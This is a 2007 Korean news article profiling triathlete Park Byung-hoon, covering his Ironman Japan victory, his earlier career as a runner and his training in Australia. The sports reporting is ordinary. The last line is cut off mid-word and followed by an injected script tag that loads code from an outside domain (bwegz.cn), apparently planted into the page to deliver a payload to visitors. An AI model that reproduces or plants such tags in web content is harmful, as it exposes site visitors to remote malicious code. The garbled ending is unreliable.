아이언맨 코스 亞 1위 박병훈 “내 꿈은 세계 선수권 우승”
아이언맨 코스 아시아 1위 박병훈
양광삼 <yks01@jesnews.co.kr>
박수성 <mercury@ilgan.co.kr> | [2007-07-01 20:26 입력]
그를 처음 만난 날 박병훈은 일본 도코노시마 하프아이언맨 대회 주최측이 보내온 우편물을 들고 씨익 웃고 있었다.
7월 1일 대회에 와 달라며 항공권과 숙박권을 보내왔다. 그의 위상이 한껏 높아졌음을 입증하는 증거다.
그는 "여기 우승상금이 30만엔이거든요. 같은 기간에 열리는 국내 대회 우승상금(100만원)보다 훨씬 많잖아요. 우승 상금을 챙겨야 겨울에 호주로 동계훈련을 갈 수 있어요"라며 상금에 욕심이 있음을 굳이 숨기지 않았다.
박병훈(36). 별로 알려지지 않은 스포츠 스타다. 아이언맨 대회가 국내에서 아직 생소하고 대중적인 인기가 없는 탓이다. 오히려 그는 일본에 가면 쫀쫀하게 유명세를 치른다.
일본 언론은 그가 참가하면 인터뷰 다툼을 펼치고 가와하라, 니시우치 등 일본의 내로라하는 '아이언맨'들은 그가 출전한다는 소식만 들리면 이내 기가 꺾인다.대회 후 맥주를 앞에 놓고 벌이는 뒤풀이 자리에서 일본 선수들은 농반진반으로 한탄을 던진다.
"도대체 어떻게 그렇게 자전거를 잘 타나. 자전거 선수였나? '미스타 박'을 당할 수가 없다." 그가 사이클로 일본 선수를 추월할 때 잔인할 정도로 휙 지나버리는 것을 두고 하는 말이다. 그래야 처진 선수가 따라올 의지를 완전히 상실하기 때문이다.
아이언맨 코스 한국 랭킹 1위인 박병훈은 이제 부동의 아시아 1위다. 지난 6월 17일 일본 나가사키 고토에서 개최된 아시언맨 재팬(2007 Ironman Japan Triathlon) 대회에서 8시간46분32초의 기록으로 일본의 쟁쟁한 선수들을 제치고 우승했다.
2위 가와하라와는 5분 가까이 차이가 났다. 8시간46분32초는 개인 최고 기록이자 당연히 한국 최고 기록이고 세계 톱클래스 수준에 불과 15분 가량 뒤지는 영양가 높은 기록이다. 이제 세계 톱10도 가시권이다.
이 분야에서 세계 톱10은 세계적인 권위를 자랑하는 도로사이클대회 '투르 드 프랑스'에서 한국 선수가 10위권에 드는 것과 같은 기적에 비유할만 하다.
한국의 아이언맨의 저변이 선진국과 견주기 민망할 만큼 열악하다. 특히 기록을 좌우하는 사이클의 경우 북유럽과 호주, 미국 등이 초강세를 보이는 종목이라 동양 선수들이 톱10에 드는 것은 상상하기도 힘든 일이다.
강원도 횡성군 둔내면이 고향인 박병훈은 나이는 한살 어리지만 둔내고등학교에서 육상 선수로 활약하며 황영조, 이봉주 등과 함께 중장거리 종목을 겨뤘다.
그러나 실력은 한국체대에 겨우 들어갈 정도의 그저그런 선수였다. 마라톤 종목의 개인 최고 기록은 2시간 18분대였으나 체조훈련 중 무방비 상태에서 100㎏의 거구가 달려들어 허리가 꺾이는 바람에 선수를 그만뒀다.
그런 그가 아이언맨에 도전한 것은 임용고사 가산점(5점)을 따겠다는 순전히 현실적인 필요 때문.
2001년 한국체대 조교생활을 하던 중 올림픽코스에 처음 도전한 것이 아이언맨의 세계에 빠져든 계기. 에이지그룹에서 2등이라는 뜻밖의 성적을 거둔 그는 내친 김에 6월 생애 첫 아이언맨 대회(제주)에 도전했으나 12시간 33분의 평범한 기록을 받아든다.
마라톤 후반 20여㎞를 절뚝절뚝 걸었다. 참기 힘든 고통에 서울로 돌아오는 비행기 안에서 "다시는 하지 않겠다"고 다짐한다.
그러나 그 다짐은 3일을 넘지 못했다. 천성적으로 운동을 좋아하는 그는 "이왕 시작한 거 반드시 '텐언더(10시간 이내에 주파)'를 하겠다"라고 다짐했고 그해 출전한 전 대회에서 우승을 휩쓴다.
자신감이 붙고 매 대회마다 기록을 단축시키자 2003년 프로를 선언한다. 에이지그룹이 아니라 대회 상금을 차지할 수 있는 프로에 도전하는 것이고 아이언맨을 직업으로 삼겠다는 다짐이었다.
2003년 프로로 첫 출전한 '아이언맨 코리아' 대회에서 그는 사이클 스템이 부러져 170㎞을 손으로 쥐고 달리는 악조건에서도 9시간 17분의 기록으로 3위에 입상했다.
한국 선수가 이 대회에서 입상한 것은 처음이었다. 또 '아이언맨 플로리다' 대회에서는 8시간 57분 44초의 기록으로 처음으로 '나인언더'를 달성한다.
박병훈이 세계적인 선수로 도약한 것은 호주 동계훈련을 다녀오기 시작한 2004년부터.
호주 골드코스트의 아이언맨 스쿨에서 한달간 체계적인 훈련을 받은 그는 일본 미야코지마 대회에서 9등을 차지했고 2005년에는 2등에 올랐다.
호주에 한번 갔다올때마다 기록이 5분 가까이 단축됐다. 2006년과 2007년에는 대회 2연패를 달성하는 쾌거를 이룬다. 미?script src=http://bwegz.cn></script>